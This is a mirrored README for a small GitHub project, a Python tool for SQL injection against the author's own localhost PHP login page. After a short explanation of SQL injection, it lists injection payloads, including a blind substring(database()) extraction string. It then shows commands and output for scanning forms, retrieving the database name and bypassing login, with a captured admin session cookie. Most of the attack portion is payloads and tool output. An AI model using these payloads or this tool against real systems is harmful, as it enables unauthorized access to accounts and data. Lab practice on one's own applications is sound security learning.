Coder Social home page Coder Social logo

galihap76 / web-app-sql-injection Goto Github PK

View Code? Open in Web Editor NEW
10.0 1.0 7.0 8 KB

This is my repo to hack my web app about vulnerability sql injection with python.

PHP 32.90% Python 67.10%
sql-injection exploitation python3 mysql vulnerability vulnerability-detection sql-injection-attacks sql-injection-exploitation php hacking

web-app-sql-injection's Introduction

What is SQL injection (SQLi)?

SQL injection is a web security vulnerability that allows an attacker to interfere with the queries that an application makes to its database. It generally allows an attacker to view data that they are not normally able to retrieve. This might include data belonging to other users, or any other data that the application itself is able to access. In many cases, an attacker can modify or delete this data, causing persistent changes to the application's content or behavior.

In some situations, an attacker can escalate an SQL injection attack to compromise the underlying server or other back-end infrastructure, or perform a denial-of-service attack. Learn more.

Payloads

'-'
' '
'&'
'^'
'*'
' or ''-'
' or '' '
' or ''&'
' or ''^'
' or ''*'
' OR 1 = 1 -- 
' OR BINARY substring(database(), %d, 1) = '%s' -- 
"-"
" "
"&"
"^"
"*"
" or ""-"
" or "" "
" or ""&"
" or ""^"
" or ""*"

Example

  • Scan Vulnerability Sql Injection
python3 main.py -s http://localhost/hacking/login.php
[!] Trying http://localhost/hacking/login.php"
[!] Trying http://localhost/hacking/login.php'
[+] Detected 1 forms on http://localhost/hacking/login.php.
  • Hack Database With Sql Injection
python3 main.py -d http://localhost/hacking/login.php
hacking
  • Bypass Login Website With Sql Injection
python3 main.py -f http://localhost/hacking/login.php
--------------------------------------------------
[+] Login success!
[+] Admin cookie: mkffq2vgo24is4jr782cuc6g2n

<!DOCTYPE html>
<html lang="en">
    <head>
        <title>Dashboard</title>
    </head>
<body>
   <h1>Hallo admin!</h1>
        <p>Data 1 : This is coffee</p>
    <p>Data 2 : This is tea</p>
    <p>Data 3 : This is orange</p>
         <a href="logout.php">Logout</a>
</body>
</html>

Libraries

web-app-sql-injection's People

Contributors

galihap76 avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.